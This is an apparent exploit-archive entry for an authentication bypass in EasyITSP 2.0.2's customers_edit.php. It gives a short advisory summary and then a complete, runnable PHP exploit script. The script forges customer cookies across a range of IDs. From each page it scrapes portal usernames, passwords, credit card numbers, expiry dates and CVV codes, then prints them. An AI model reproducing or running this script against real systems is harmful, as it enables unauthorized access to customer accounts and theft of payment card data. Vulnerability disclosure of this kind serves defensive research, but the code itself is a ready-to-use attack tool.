EasyITSP – ‘customers_edit.php’ Authentication Bypass
source: https://www.securityfocus.com/bid/56321/info EasyITSP is prone to a security-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and gain unauthorized access to customer's information. EasyITSP 2.0.2 is vulnerable; other versions may also be affected. <?php error_reporting(0); $arguments = getopt("a:b:c:"); $url = $arguments['a']; $id_pod =$arguments['b']; $id_end =$arguments['c']; if(count($arguments)!=3) { echo '## Exploit - EasyITSP by Lemens Telephone Systems 2.0.2 '."\n"; echo '## Discovery users with passwords '."\n"; echo '## '."\n"; echo '## Author: Michal Blaszczak '."\n"; echo '## Website: blaszczakm.blogspot.com '."\n"; echo '## Date: 10.10.2012 '."\n"; echo '## '."\n"; echo '## Greatz: cond, packet, jestemka1pi, sid, chez '."\n"; echo '## #pakamera@freenode '."\n"; echo '## (old) #2600@ircnet '."\n"; echo '## (old) #mamo_mamo_jestem_chakerem@ircnet '."\n"; echo '## '."\n"; echo '## Usage: '."\n"; echo '## php exploit.php -a URL -b ID_START -c ID_STOP '."\n"; echo '## '."\n"; echo '## Example: '."\n"; echo '## php exploit.php -a http://lemens-ts.com/easyitsp/customer/ -b 5 -c 10'."\n"; exit; } $url2='customers_edit.php?currentpage=customers'; $url.=$url2; for ($id_pod; $id_pod <= $id_end; $id_pod++) { $cookie = 'cust_verify=' . urlencode('#pakamera') . '; cust_id=' . urlencode($id_pod); $ch = curl_init($url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_POST, 1);//przesylamy metod. post curl_setopt($ch, CURLOPT_POSTFIELDS, "customersid=$id_pod"); //dane do wyslania curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $intro = curl_exec($ch); curl_close($ch); $regex_login = '#\<td title="Customer username for portal"\>(.+?)\<\/td\>#s'; preg_match($regex_login, $intro, $login); $regex_pass = '#\<td title="Customer password for portal"><input type="password" name="password" required="1" maxlength="45" value="(.+?)"\>\<\/td\>#s'; preg_match($regex_pass, $intro, $pass); $regex_ccnum = '#\<td title="Customer cc number"><input type="text" name="ccnumber" maxlength="20" value="(.+?)"\>\<\/td\>#s'; preg_match($regex_ccnum, $intro, $ccnum); $regex_ccexpire = '#\<td title="Customer cc expire"><input type="text" name="ccexpire" maxlength="8" value="(.+?)"\>\<\/td\>#s'; preg_match($regex_ccexpire, $intro, $ccexpire); $regex_cccvv = '#\<td title="Customer credit card CVV"><input type="text" name="cccvv" maxlength="6" value="(.+?)"\>\<\/td\>#s'; preg_match($regex_cccvv, $intro, $cccvv); $test = explode(" ",$login[1]); if(trim($test[0])!='</td>') { echo 'ID:'.$id_pod."\n"; echo 'LOGIN:'.$login[1]."\n"; echo 'Password:'.$pass[1]."\n"; echo 'CCnumber:'.$ccnum[1]."\n"; echo 'CCexpire:'.$ccexpire[1]."\n"; echo 'CCCVV:'.$cccvv[1]."\n\n"; } } ?> |